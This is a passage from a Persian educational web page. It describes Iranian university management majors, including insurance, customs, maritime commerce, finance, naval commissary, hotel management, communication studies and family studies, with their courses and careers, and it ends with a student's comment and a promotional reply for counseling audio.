فعالیت‌های‌ بیمه‌ مثل‌ بیمه‌ عمر، ماشین‌، خدمات‌ درمانی‌ و غیره‌ اطلاعات‌ لازم‌ را کسب‌ کرده‌ و چگونگی‌ فعالیت‌ دراین‌ زمینه‌ها را براساس‌ پایه‌ و مبانی‌ مدیریتی‌ فرا می‌گیرد.
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ بیمه‌:
    حسابداری‌ صنعتی‌، اصول‌ مدیریت‌ بازرگانی‌، روانشناسی‌ عمومی‌، جامعه‌شناسی‌، توسعه‌ اقتصادی‌ ، حسابرسی‌ ، پول‌ و ارز و بانکداری‌، حقوق‌ تجارت‌ ، حقوق‌ مدنی‌، اصول‌ بیمه‌، بیمه‌ اموال‌، بیمه‌ اشخاص‌، حسابداری‌ شرکت‌های‌ بیمه‌ ، مدیریت‌ ریسک‌ و بیمه‌ ، بیمه‌ اتکایی‌، حقوق‌ بیمه‌، بازاریابی‌ و مدیریت‌ بازار، متون‌ بیمه‌ انگلیسی‌.
    گرایش‌ مدیریت‌ بیمه‌ اکو :
    بیمه‌ اکو یک‌ دانشکده‌ تخصصی‌ است‌ که‌ در ایران‌ ایجاد شده‌ است‌ و دانشجویان‌ خود را از بین‌ علاقه‌مندان‌ کشورهای‌ عضو پیمان‌ منطقه‌ای‌ اکو انتخاب‌ می‌کند. در این‌ گرایش‌ موضوعات‌ مختلف‌ مدیریتی‌، اقتصادی‌، حقوقی‌، حسابداری‌ و تجاری‌ آموزش‌ داده‌ می‌شود و دانشجویان‌ درباره‌ نقش‌ بیمه‌ در ایجاد امنیت‌ سرمایه‌گذاری‌ و امنیت‌ اقتصادی‌ و رفاهی‌ جامعه‌ مطالعه‌ می‌کنند. گفتنی‌ است‌ تفاوت‌ این‌ گرایش‌ با مدیریت‌ بیمه‌ در آن‌ است‌ که‌ تمامی‌ دروس‌ گرایش‌ مدیریت‌ بیمه‌ اکو به‌ زبان‌ انگلیسی‌ است‌ و از همین‌ رو این‌ دانشکده‌ در مرحله‌ اول‌ ده‌ برابر ظرفیت‌، دانشجو می‌پذیرد و سپس‌ از بین‌ داوطلبان‌ افرادی‌ که‌ تسلط‌ بیشتری‌ به‌ زبان‌ انگلیسی‌ دارند، انتخاب‌ می‌کند. همچنین‌ در این‌ گرایش‌ به‌ قوانین‌ حقوق‌ بین‌الملل‌ و تجارت‌ بین‌الملل‌ توجه‌ بیشتری‌ می‌شود.
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ بیمه‌ اکو:
    Sociology ، Principles OF Psychology ، Principles OF economics ، Principles OF management ، Callege Algebra ، Applied Mathematics ، Accounting ، Principles of Law، Introduction To Insurance ، Introduction To Computer Sci، Research Methodology ، Micro ECO Analysis ، Macro ECO Analysis، Mathematical Statistics and Probability ، Principles of Insurance ، Operation Research ، Public Finance ، Organizational Behaviour ، Money and Banking ، Management of Human Resources ، Financial Management ، International Econ andrg ، Business Policy ، Legal Aspects of Ins ، Property and Pec. Ins ، Insurance of the Person ، Risk Management ، Marketing and its Ins. Applic، Fundumental of loss surveying /Adjusting ، Ins. Co. Administration and Mat ، Reinsurance ، Econ.DeveLopment and Planning ، System Analysis، Insurance Accounting ، Paperon Ins ، Engineering Ins ، Liability Ins، Maritime Law ، Maritime Hull and Aviation Insurance ، Math Basis of Life Ins ، Life Ins. Agency Org. and Mgt ، Group Life and Health Ins ، Life Ins. Apl and Underwriting .
    گرایش‌ مدیریت‌ امور گمرکی:
    گمرک‌ در خدمت‌ تجارت‌ جهان‌ است‌ و گرایش‌ مدیریت‌ امور گمرکی‌ نیز بخشی‌ از مدیریت‌ تجاری‌ و بازرگانی‌ است‌ که‌ در آن‌ نحوه‌ بررسی‌ کالاهای‌ وارداتی‌ و صادراتی‌ و نحوه‌ تنظیم‌ اظهار نامه‌ها و چگونگی‌ ایجاد تعرفه‌های‌ مالیاتی‌ آموزش‌ داده‌ می‌شود. همچنین‌ دانشجویان‌ می‌آموزند براساس‌ سیاست‌ اقتصادی‌ کشور، کالاهای‌ ممنوعه‌ و غیرممنوعه‌ را شناسایی‌ کنند.
    دروس‌ اصلی‌ و تخصصی‌ گرایش‌ مدیریت‌ امور گمرکی‌:
    مالیه‌ عمومی‌ و خط‌مشی‌ مالی‌ دولت‌ها، اصول‌ بیمه‌ ، حقوق‌ و مقررات‌ مدنی‌، حقوق‌ تجارت‌، توسعه‌ اقتصادی‌ و برنامه‌ریزی‌، حسابداری‌ دولتی‌ ، مسایل‌ بانکی‌ و اعتبارات‌ اسنادی‌، مکاتبات‌ بازرگانی‌ به‌ زبان‌ انگلیسی‌، روش‌های‌ تحقیق‌ و مأخذشناسی‌، اصول‌ تنظیم‌ و کنترل‌ بودجه‌ دولتی‌، قوانین‌ و مقررات‌ گمرکی‌ ، شیمی‌ کانی‌ها و فلزات‌، شناخت‌ الیاف‌ نسجی‌ و مصنوعات‌ آنها، آشنایی‌ با ماشین‌آلات‌ و تجهیزات‌ الکتریکی‌ و الکترونیکی‌، آشنایی‌ با میراث‌ فرهنگی‌، آثار هنری‌ و عتیقه‌جات‌، مقررات‌ عمومی‌ صادرات‌ و واردات‌ سازمان‌ها و کنوانسیون‌های‌ بین‌المللی‌ گمرکی‌، زبان‌ انگلیسی‌ تخصصی‌ ، بازرگانی‌ بین‌الملل‌ ، امور مالی‌ بین‌الملل‌، آشنایی‌ با صنعت‌ حمل‌ و نقل‌، طبقه‌بندی‌ کالا.
    توانایی‌های‌ لازم :
    قدرت‌ رهبری‌، اعتماد به‌ نفس‌، روابط‌ اجتماعی‌ خوب‌، توان‌ تجزیه‌ و تحلیل‌ و قدرت‌ بیان‌ قوی‌ از ویژگی‌های‌ لازم‌ برای‌ دانشجوی‌ رشته‌ مدیریت‌ در تمامی‌ گرایش‌ها است‌. دانشجوی‌ این‌ رشته‌ بخصوص‌ در گرایش‌های‌ بازرگانی‌ و صنعتی‌ باید به‌ مسائل‌ تجاری‌ و اقتصادی‌ و محیط‌ بازار علاقه‌مند بوده‌ و در دروس‌ ریاضی‌، زبان‌ انگلیسی‌ و ادبیات‌ فارسی‌ قوی‌ باشد. همچنین‌ دانشجوی‌ رشته‌ مدیریت‌ بخصوص‌ مدیریت‌ صنعتی‌ باید در دروس‌ ریاضی‌ و آمار قوی‌ باشد. دانشجوی‌ مدیریت‌ جهانگردی‌ نیز لازم‌ است‌ که‌ به‌ تاریخ‌ و فرهنگ‌ خود و به‌ درس‌ جغرافیا علاقه‌مند باشد و از روابط‌ اجتماعی‌ خوبی‌ برخوردار بوده‌ و به‌ یک‌ زبان‌ خارجی‌ مثل‌ انگلیسی‌، فرانسه‌ یا عربی‌ مسلط‌ باشد تا بتواند با جهانگردان‌ خارجی‌ به‌ راحتی‌ ارتباط‌ برقرار کند. این رشته از هر سه گروه آزمایشی علوم ریاضی و فنی، علوم تجربی و علوم انسانی دانشجو می‌پذیرد.
    موقعیت‌ شغلی‌ در ایران :
    یک‌ فارغ‌التحصیل‌ رشته‌ مدیریت‌ نباید انتظار داشته‌ باشد که‌ از همان‌ بدو امر به‌ عنوان‌ مدیر یک‌ شرکت‌ یا کارخانه‌ مشغول‌ به‌ کار گردد. چون‌ بخشی‌ از مطالب‌ و محتوای‌ کلاس‌های‌ مدیریت‌ باید به‌ عنوان‌ تجربه‌ از محیط‌ و سازمان‌های‌ جامعه‌ گرفته‌ شود. بنابراین‌ فارغ‌التحصیل‌ این‌ رشته‌ در ابتدا باید به‌ عنوان‌ یک‌ کارشناس‌ در رده‌های‌ پایین‌تر وارد بازار کار شده‌ و سپس‌ به‌ مرور پله‌های‌ ترقی‌ را طی‌ کند. در کل‌ فارغ‌التحصیل‌ مدیریت‌ دولتی‌ می‌تواند در مؤسسات‌ دولتی‌ و عمومی‌ و خدماتی‌ مشغول‌ به‌ کار گردد. مدیریت‌ بازرگانی‌ می‌تواند در سازمان‌های‌ اقتصادی‌ و بازرگانی‌ فعالیت‌ کند و مدیریت‌ صنعتی‌ برای‌ کار در سازمان‌های‌ صنعتی‌ و تولیدی‌ مناسبتر است‌. به‌ دلیل‌ نیاز به‌ نیروی‌ کار متخصص‌ در صنعت‌ جهانگردی‌ کشور نیز، تمامی‌ دانشجویان‌ گرایش‌ مدیریت‌ جهانگردی‌ جذب‌ بازار کار می‌شوند و می‌توانند در دفاتر خدمات‌ مسافرتی‌ به‌ عنوان‌ مدیر فنی‌ یا تورگردان‌ و یا در سازمان‌ میراث فرهنگی و گردشگری‌ وزارت‌ ارشاد و فرهنگ‌ اسلامی‌ مشغول‌ به‌ کار گردند. علاوه‌ بر شرکت‌های‌ بیمه‌ دولتی‌ که‌ به‌ متخصصان‌ رشته‌ مدیریت‌ نیاز دارند، شرکت‌های‌ بازرگانی‌ و حمل‌ و نقل‌ که‌ در ارتباط‌ با تجارت‌ بین‌المللی‌ هستند نیز فارغ‌التحصیلان‌ گرایش‌ مدیریت‌ بیمه‌ را جذب‌ می‌کنند.

  85. مدیریت وبازرگانی دریایی
    دیباچه: هدف این رشته تربیت کارشناس بازرگانی دریایی برای خدمت در ارگان‌های دریایی، حمل و نقلی، تجارت خارجی و برنامه‌ریزی کلان جمهوری اسلامی و دیگر شرکت‌ها و مؤسسات خصوصی و دولتی مرتبط با امور مدیریت بازرگانی دریایی کشور است. این رشته دارای سه گرایش مناطق ویژه، گمرکی و بندر و کشتیرانی می‌باشد که هر گرایش تنها ۱۸ واحد اختصاصی دارد. گفتنی است که این رشته از بین داوطلبان گروه‌های آزمایش ریاضی و فنی، علوم تجربی و علوم انسانی دانشجو می‌پذیرد.گرایش مناطق ویژه دانشجویان این گرایش با اصول و انواع مناطق ویژه تجاری و صنعتی مرزی و دریایی از نقطه نظر اهداف، تولید، اشتغال، مالکیت، منافع، سرمایه‌گذاری خارجی، عملکرد و ساختار این‌گونه مناطق آشنا می‌شوند و علل پیشرفت اقتصادی کشورهای صنعتی پیشرفت و در حال توسعه را مطالعه می‌کنند تا بتوانند راه‌های پیشبرد و توسعه و جذب سرمایه‌گذاری را در مناطق ویژه فراگیرند.
    درس‌های این رشته در طول تحصیل :
    دروس مشترک در گرایش‌های مختلف مدیریت و بازرگانی دریایی:
    روانشناسی‌کار، اقتصاد خُرد، اقتصاد کلان، اصول حسابداری، ریاضیات و کاربرد آن در مدیریت، آمار و کاربرد آن در مدیریت، کامپیوتر و کاربرد آن در مدیریت، روش تحقیق در مدیریت، مبانی مدیریت اسلامی و الگوهای آن، مبانی سازمان و مدیریت، مدیریت رفتار سازمانی، پژوهش در عملیات، حسابداری صنعتی، مدیریت تولید، حقوق بازرگانی، پول و ارز و بانکداری، تجزیه و تحلیل و طراحی سیستم، بازاریابی و مدیریت بازار، مدیریت مالی، توسعه اقتصادی و برنامه‌ریزی، سیستم‌های اطلاعاتی مدیریت، حسابرسی، زبان تخصصی، بازرگانی بین‌المللی، اصول ترابری، مدیریت استراتژیک، سیاستگذاری حمل و نقل و بازرگانی، اصول حقوق و بیمه دریایی، اقتصاد ترابری، مدیریت بین‌المللی کالا، کنوانسیون‌های بین‌المللی حمل و نقل، گمرکی و بازرگانی،‌ مدیریت پشتیبانی و توزیع.
    دروس تخصصی گرایش مناطق ویژه:
    پروژه تحقیقاتی، اصول، انواع و نمونه‌های مناطق ویژه،‌ تولیدی و تجاری، نمونه‌های مناطق و بنادر ویژه و مراکز بار، اصول و مبانی خصوصی‌سازی، سرمایه‌گذاری و توسعه منطقه‌ای. گرایش گمرکیدانشجویان گرایش گمرکی با قوانین و مقررات گمرکی، مقررات عمومی صادرات و واردات و انواع کالاها و محصولات وارداتی یا صادراتی آشنا می‌شوند تا بتوانند امور گمرکی را هرچه دقیق‌تر، سهل‌تر و بهتر انجام دهند.
    دروس تخصصی گرایش گمرکی:
    پروژه تحقیقاتی، بهره وری سازمانی،‌ مدیریت پایانه‌ها، قوانین و مقررات گمرکی، مقررات عمومی صادرات و واردات، شیمی(کانی‌ها و فلزات)، شناخت الیاف و مصنوعات آن، کانتینر و وسایل بار.گرایش بندر و کشتیرانی در این گرایش اصول و وسایل حرکت و نگهداری کشتی، اهمیت وسایل کمک ناوبری بندری در هدایت ایمن کشتی‌ها، انواع وسایل نگهداری و حمل بار در بنادر و پایانه‌های زمینی و دریایی، انواع قراردادهای حمل کالا و خصوصیات حمل و نقل دریایی آموزش داده می‌شود تا فارغ‌التحصیلان این رشته عملیات حمل و نقل کالا را در بنادر به طور مؤثر و مفید برعهده بگیرند.
    دروس تخصصی گرایش بندر و کشتیرانی:
    اصول ناوبری، اصول مهندسی دریایی، پروژه تحقیقاتی، بهره‌وری سازمانی، کانتینر و وسایل حمل‌ بار، مدیریت و تدارکات بندری، مدیریت و تدارکات کشتیرانی،‌ مدیریت فرماندهی

  86. مدیریت مالی
    دیباچه: با توجه به روندجهانی شدن اقتصاد کشورها، متخصصان مالی کشور، بایستی با نظام‌های مالی جهانی و شیوه‌های سرمایه‌گذاری و ابزارهای مالی پیشرفته آشنایی داشته باشند تا کشور بتواند موقعیت مالی خود را در دنیای متلاطم امروز تثبیت کند. رشته مدیریت مالی در همین راستا ایجاد شده است. در این رشته دانشجویان با تئوری‌های نوین مدیریت مالی و کاربرد آنها آشنا می‌شوند و در نهایت می‌توانند با ارائه راهکار‌هایی برای بسط و توسعه سرمایه‌گذاری، گام‌های مؤثری در حل مشکلات اقتصادی کشور بردارند. دانش‌آموختگان مدیریت مالی علاوه بر توانایی تجزیه و تحلیل و حضور فعال در بازارهای مالی می‌توانند وضعیت مالی شرکت‌ها و مؤسسات را مورد ارزیابی قرار دهند و در اخذ تصمیمات مالی مؤثر در سازمان‌ها، نقش اساسی ایفا کنند.
    درس‌های این رشته در طول تحصیل :
    دروس اصلی و تخصصی:
    مدیریت مالی، پول و ارز بانکداری، بازاریابی و مدیریت بازار، مدیریت استراتژیک، اقتصاد سنجی‌ مالی، ریاضیات و کاربرد آن در مدیریت مالی، آمار و کاربرد آن در مدیریت مالی، توسعه اقتصادی و برنامه‌ریزی، حقوق بازرگانی، حسابداری صنعتی، اصول مدیریت مالی، مبانی مدیریت سرمایه‌گذاری، مدیریت مالی در ایران، نهادهای پولی و مالی، نهادهای پولی و مالی بین‌الملل، مبانی مهندسی مالی، بازار پول و سرمایه، مبانی ریسک و مدیریت بیمه، برنامه‌ریزی مالیاتی، قراردادهای بیمه، متون مالی، مبانی بانکداری و مدیریت بانک.

  87. مدیریت وکمیسردریایی
    دیباچه: تهیه‌ قطعات‌ یدکی‌ کشتی‌ یا لوازم‌ الکترونیکی‌ و مکانیکی‌ موجود در کشتی‌، سوخت‌ کشتی‌ و مواد غذایی‌ برای‌ کارکنان‌ نیروی‌ دریایی‌، تقسیم‌بندی‌ و جا به‌ جایی‌ پرسنل‌ نیروی‌ دریایی‌، پیش‌بینی‌ و ارائه‌ طرح‌های‌ آموزش‌ ضمن‌ خدمت‌ کارکنان‌ نیروی‌ دریایی‌ و استخدام‌ نیروی‌ انسانی‌ جدید بر عهده‌ افسران‌ کمیسر دریایی‌ است‌. به‌ همین‌ دلیل‌ فارغ‌التحصیلان‌ این‌ رشته‌ باید درباره‌ تخصص‌های‌ مختلف‌ نیروی‌ دریایی‌ اطلاعات‌ نسبتاً خوبی‌ داشته‌ باشند تا بتوانند جا به‌ جایی‌ پرسنل‌ نیروی‌ دریایی‌ را به‌ درستی‌ انجام‌ دهند و در تهیه‌ قطعات‌ یدکی‌ دستگاه‌های‌ مختلف‌ دچار مشکل‌ نشوند.
    توانایی‌های‌ لازم :
    توانایی‌های‌ لازم‌ و موقعیت‌ شغلی‌ این‌ رشته‌ در بخش‌ معرفی‌ رشته‌های‌ دانشگاه‌ علوم‌دریایی‌ امام‌خمینی‌ ذکر شده‌ است‌. گفتنی‌ است‌ این‌ رشته‌ از بین‌ داوطلبان‌ هر سه‌ گروه‌ آزمایشی‌ ریاضی‌ و فنی‌، علوم‌تجربی‌ و علوم‌انسانی‌ دانشجو می‌پذیرد.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه‌ :
    روانشناسی‌ کار، حقوق‌ اساسی‌ ، اقتصاد خرد، اقتصاد کلان‌، اصول‌ حسابداری‌، ریاضیات‌ و کاربرد آن‌ در مدیریت‌، آمار و کاربرد آن‌ در مدیریت‌ ، کامپیوتر و کاربرد آن‌ در مدیریت‌ ، روش‌ تحقیق‌ در مدیریت‌ ، توسعه‌ اقتصادی‌ و برنامه‌ریزی‌ ، مبانی‌ مدیریت‌ اسلامی‌ و الگوهای‌ آن‌ .
    دروس‌ اصلی‌ و تخصصی‌:
    مبانی‌ سازمان‌ و مدیریت‌ ، مدیریت‌ رفتار سازمانی‌ ، مدیریت‌ منابع‌ انسانی‌ ، تحقیق‌ در عملیات‌ ، حسابداری‌ صنعتی‌ ، مدیریت‌ تولید، تجزیه‌ و تحلیل‌ و طراحی‌ سیستم‌ ، بازاریابی‌ و مدیریت‌ بازار، اصول‌ ناوبری‌، اصول‌ مهندسی‌ دریایی‌، تدارکات‌ در دریا، مدیریت‌ پرسنلی‌ در ارتش‌، اصول‌ ترابری‌، مدیریت‌ تدارکات‌ در ساحل‌، حقوق‌ دریایی‌ ، اصول‌ بیمه‌ و بیمه‌ دریایی‌، اقتصاد ترابری‌، مدیریت‌ مالی‌ در ارتش‌، حسابداری‌ دولتی‌، سیستم‌ خرید و انبارداری‌ و توزیع‌، حقوق‌ بازرگانی‌ ، زبان‌ تخصصی‌، کارآموزی‌

  88. مدیریت هتلداری
    دیباچه: دانشجویان مدیریت هتلداری با مشخصات انواع مؤسسات پذیرایی، اصول و معیارهای انتخاب، شناخت و خرید وسایل و تجهیزات لازم برای مؤسسات پذیرایی، تقسیم کار دراین گونه مؤسسه‎ها، رزرواسیون، منوشناسی و منونویسی، شناخت مواد غذایی و انرژی ‎غذایی آنها، چگونگی نگهداری مواد غذایی، تهیه انواع غذاها، پیش غذاها وشیرینی‎ها، بهداشت مواد غذایی، بهداشت کار و ایمنی در محیط آشپزخانه مؤسسات پذیرایی و در کل هرآنچه برای اداره ومدیریت صحیح و مناسب یک هتل، متل، رستوان و موارد مشابه ضروری است، آشنا می‎شوند.
    توانایی‌های لازم :
    با توجه به نوع کار فارغ‎التحصیلان این رشته، دانشجویان باید علاوه بر زبان انگلیسی به زبان دوم ( یکی از زبان‎های فرانسه، آلمانی یا عربی) تسلط داشته باشند. البته در دانشگاه دروسی دراین زمینه ارائه می‎شود. همچنین دانشجویان این رشته باید از روابط اجتماعی خوبی برخوردار بوده و قدرت تجزیه و تحلیل و خلاقیت بالایی داشته باشند.
    موقعیت شغلی در ایران :
    فارغ‌التحصیلان مدیریت هتلداری می‌توانند در زمینه‌های تخصصی صنعت هتلداری مانند واحدهای پذیرایی و اقامتی, مؤسسات ملی و جهانگردی و شرکت‌های حمل و نقل هوایی فعالیت کنند.
    درس‎های این رشته در طول تحصیل :
    دروس پایه:
    اصول سازمان و مدیریت، کلیات اقتصاد، اصول حسابداری، شناخت و کاربرد کامپیوتر، تاریخ ایران، مبانی کشور شناسی، مبانی جامعه شناسی، روانشناسی اجتماعی، عوارض و نتایج توریسم، مطالب شرح حال بزرگانی که مقابر آنان به صورت آثار ملی‎می‌باشد، شناخت و فرهنگ اقلیت‎های ایران.
    دروس اصلی :
    حقوق کار وتأمین اجتماعی، کار برد کامپیوتر در صنعت جهانگردی و هتلداری، مدیریت بازاریابی و تبلیغات، اقتصاد جهانگردی، قوانین و مقررات حقوق صنعت جهانگردی و هتلداری، روابط عمومی، شناخت روحیات ملل، تجزیه و تحلیل مسائل اجتماعی ایران، مبانی مردم شناسی، بهداشت و کمک‎های اولیه، نقشه‎خوانی و آشنائی با نقشه‎ها، جغرافیای جهانگردی عمومی، جغرافیای جهانگردی ایران، شناخت صنعت جهانگردی ، گذراندن اوقات فراغت، زبان دوم ( یکی از زبان‎های آلمانی، فرانسه یا عربی)، زبان انگلیسی.
    دروس تخصصی :
    شناخت تأسیسات اقامتی و پذیرایی و تشکیلات آن، حسابداری هتلداری، پذیره، خدمات رستوان، آشپزی، شیرینی‎پزی، بهداشت مواد غذائی، اصول تغذیه و رژیم‎های غذائی، بهداشت کار و ایمنی، محاسبه قیمت تمام شده، شناخت و نگهداری تاسیسات هتل، خانه‎داری، ‌زبان انگلیسی تخصصی، کار آموزی.

  89. مطالعات ارتباطی وفناوری اطلاعات
    دیباچه: جهان در آستانه تحولی ژرف و در کار پا نهادن به عصری تازه است و نقش محوری وسایل ارتباط جمعی در این تحوّل مداوم و روز افزون انکار ناپذیر است.
    برقراری ارتباط با عامه مردم و گردآوری و تدوین اطلاعات درست و انتقال صحیح این اطلاعات به مردم از مهمترین وظایف وسایل ارتباط جمعی است. اما بدون تردید در دنیای پرهیاهو و پر رمز و راز کنونی، دنیایی که در آن، در حوزه فناوری‌های اطلاعات و ارتباطات هر روز شاهد تحولی جدید هستیم؛ تأمین نیازهای اطلاعاتی مخاطبان وسایل ارتباط جمعی ـ به ویژه رسانه‌های جدید ـ بدون آن که گردانندگان این وسایل علم و تجربه کافی و مناسب داشته باشند، غیر ممکن است. رشته مطالعات ارتباطی و فناوری اطلاعات بنا بر همین ضرورت ایجاد شده است. در این دوره با استفاده از دروس گوناگون علوم انسانی از جمله :
    ادبیات، علوم اجتماعی، علوم سیاسی و علوم اقتصادی، دانشجویان اطلاعات لازم را برای حضور فعال در جامعه جهانی اطلاعاتی و کار با رسانه‌های جدید به دست می‌آورند و در نهایت می‌توانند حوزه‌های مختلف ارتباطی به ویژه فناوری‌های نوین را بخوبی بشناسند.
    توانایی‌های لازم :
    با توجه به ماهیت میان رشته‌ای مطالعات ارتباطی و فناوری اطلاعات، دانشجوی این رشته باید به مباحث بسیاری از جمله علوم اجتماعی، علوم سیاسی، حقوق، علوم اقتصادی، ادبیات و کامپیوتر علاقه‌مند باشد و قدرت تجزیه و تحلیل خوبی داشته باشد. همچنین باید همچون یک روزنامه‌نگار از ذوق نویسندگی، کنجکاوی، صبر و حوصله زیاد برخوردار باشد.
    موقعیت شغلی در ایران :
    امروزه فناوری‌های ارتباطی در روابط اجتماعی داخلی و بین‌المللی نقش روز افزون و بسیار مهمی دارد در این میان فارغ‌التحصیلان مطالعات ارتباطی و فناوری اطلاعات به دلیل آشنایی با مخاطب و علایق آن، ترکیب مخاطبان، فنون نشر، فرآیند تولید وب، فناوری‌های جدید چاپ الکترونی و چگونگی استفاده از نرم‌افزارهای رایانه‌ای نشر می‌توانند در رسانه‌های الکترونی مشغول به کار شوند.
    درس‌های این رشته در طول تحصیل :
    دروس پایه :
    مبانی جامعه‌شناسی، کاربرد رایانه در علوم ارتباطات، اصول علم اقتصاد، مبانی تاریخ اجتماعی ایران، آمار مقدماتی،‌ آمار در علوم اجتماعی، زبان تخصصی، اقتصاد ایران، روانشناسی اجتماعی، اصول علم سیاست، کلیات حقوقی، حقوق اساسی، روش‌های تحقیق در علوم اجتماعی، اصول روابط و سازمان‌های بین‌المللی، نظریه‌های جامعه‌شناسی، اصول سازمان و مدیریت، اندیشه‌های سیاسی در قرن بیستم.
    دروس اصلی :
    مبانی ارتباطات جمعی، ارتباطات بین‌‌المللی، ارتباطات سیاسی، مبانی ارتباطات انسانی، تحلیل محتوای پیام‌های ارتباطی، ارتباطات تصویری، نظریه‌های ارتباطات اجتماعی، گرافیک و صفحه‌آرایی در مطبوعات، تکنولوژی‌های ارتباطی، مبانی جامعه اطلاعاتی، افکار عمومی و وسایل ارتباط جمعی، مبانی ارتباطات و توسعه، حقوق ارتباط جمعی، شیوه نگارش فارسی در مطبوعات
    دروس تخصصی :
    مبانی مطالعات ارتباطی و فناوری اطلاعات، تاریخ ارتباطات در ایران، اصول اقتصاد در ارتباطات، سازمان‌های بین‌المللی ارتباطات، اصول مدیریت ارتباطات، مبانی سیاستگذاری و برنامه‌ریزی ارتباطی، شناخت مخاطبان، اصول نشر و آموزش الکترونی، سنجش افکار عمومی، آشنایی با روش‌های کیفی پژوهش‌های ارتباطی، مطالعات موردی، زبان تخصصی، فرهنگ و فناوری ارتباطات، نظریه جامعه اطلاعاتی

  90. مطالعات خانواده
    دیباچه: خانواده از دیدگاه اسلام، بنیادی‌ترین واحد اجتماع و منبع اصلی انتقال ارزش‌ها و سنت‌های اجتماعی و مذهبی است. از همین رو مطالعه همه جانبه این واحد اجتماعی در ابعاد مذهبی، روانی، تربیتی و اجتماعی و حقوقی یک ضرورت اجتناب ناپذیر است؛ مطالعه‌ای که بر مبنای تفکر اسلامی و به شکل منظم و سیستماتیک انجام گرفته باشد و ساخت و کارکرد خانواده را در ابعاد وسیع فرهنگ اسلامی بررسی نماید. رشته مطالعات خانواده بر پایه همین نیاز تدوین شده است. در واقع فارغ‌التحصیلان این رشته تلاش می‌کنند با بررسی‌های دقیق، جوابگوی نیاز‌ها و مشکلات جامعه در خصوص خانواده باشند.
    توانایی‌های لازم :
    دانشجوی مطالعات خانواده باید با فرهنگ غنی و ارزشمند اسلامی, پیوند عمیقی داشته باشد. همچنین لازم است که از دو ویژگی مهم خوب گوش دادن و خوب سخن گفتن بهره‌مند باشد و بتواند با شخصیت متعادل خود بر دیگران تأثیر گذاشته و آنها را به درستی راهنمایی کند.
    موقعیت شغلی در ایران :
    فارغ‌التحصیلان این رشته می‌توانند در مراکز مشاوره وزارت آموزش و پرورش ، سازمان بهزیستی و مراکز مشاوره خصوصی و دولتی فعالیت نمایند.
    درس‌های این رشته در طول تحصیل :
    دروس اصلی:
    قواعد صرف عربی، قواعد نحو عربی، تجزیه و ترکیب، ترجمه و درک متون عربی، مأخذشناسی اسلامی، اصول فقه، حقوق اساسی، آشنائی با کلیات علوم قرآنی و حدیث، تربیت در اسلام، روانشناسی عمومی، آسیب‌شناسی روانی، روانشناسی اجتماعی، مبانی جامعه‌شناسی مفاهیم اساسی،‌مبانی مددکاری اجتماعی، ریاضیات پایه، مبانی جمعیت‌شناسی.
    دروس تخصصی :
    متون تخصصی فقه، فقه تطبیقی، قواعد فقه، تفسیر موضوعی قرآن در زمینه‌های حقوق متقابل افراد خانواده نسبت به هم، ارث، وصیت، طلاق، حدود، دیات، قصاص و شهادت، روانشناسی تربیتی، بهداشت روانی، مسائل نوجوانان و جوانان، خانواده درمانی، روانشناسی رشد کودکی، جامعه‌شناسی خانواده،‌ جامعه‌شناسی روستایی، جامعه‌شناسی تاریخی خانواده، آمار و احتمال،‌ روش تحقیق نظری، روش تحقیق عملی، زبان تخصصی، آسیب‌شناسی اجتماعی، حقوق مدنی،‌ کارورزی .

  91. سلام استاد محمدی ،خیلی داغونم خواهش میکنم کمکم کنید . من امسال کنکور قبول نشدم یعنی رتبه دلخواهمو نیاوردم (سال چهارم بودم) حالا خیلی حالم خرابه واسه شروع…. نمیدونم تو این تایم مونده تا مهر اختصاصی ها رو مرور کنم یا روی نقاط ضعفم مثل ریاضی و زبان فارسی کار کنم؟ خواااااهش میکنم راهنماییم کنید. ممنون

    1. #زنگ_برنامه_ریزی

      فایل صوتی برنامه ریزی از شهریور

      ویژه کسانی که از تابستون خودشون درست استفاده نکردند.
      تیرو و مرداد خودتو ازدست دادی هنوز نتونستی درساتو جمع بندی کنی
      ازمون قلم چی ترازت پایینه؟
      پشت کنکور میخوای بمونی؟
      تصمیم داری از مهر ماه شروع کنی؟

      فایل صوتی مشاوره ای-و برنامه ریزی ویژه شهریور ماه حتما گوش کن
      ????????????????
      @ACADEMYMOSHAVERE

      ??????????????????
      http://s2.picofile.com/file/8265081200/BARNAMERIZI_AZ_SHAHRIVAR_OSTAD_MOHAMMADI09370573796.mp3.html

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *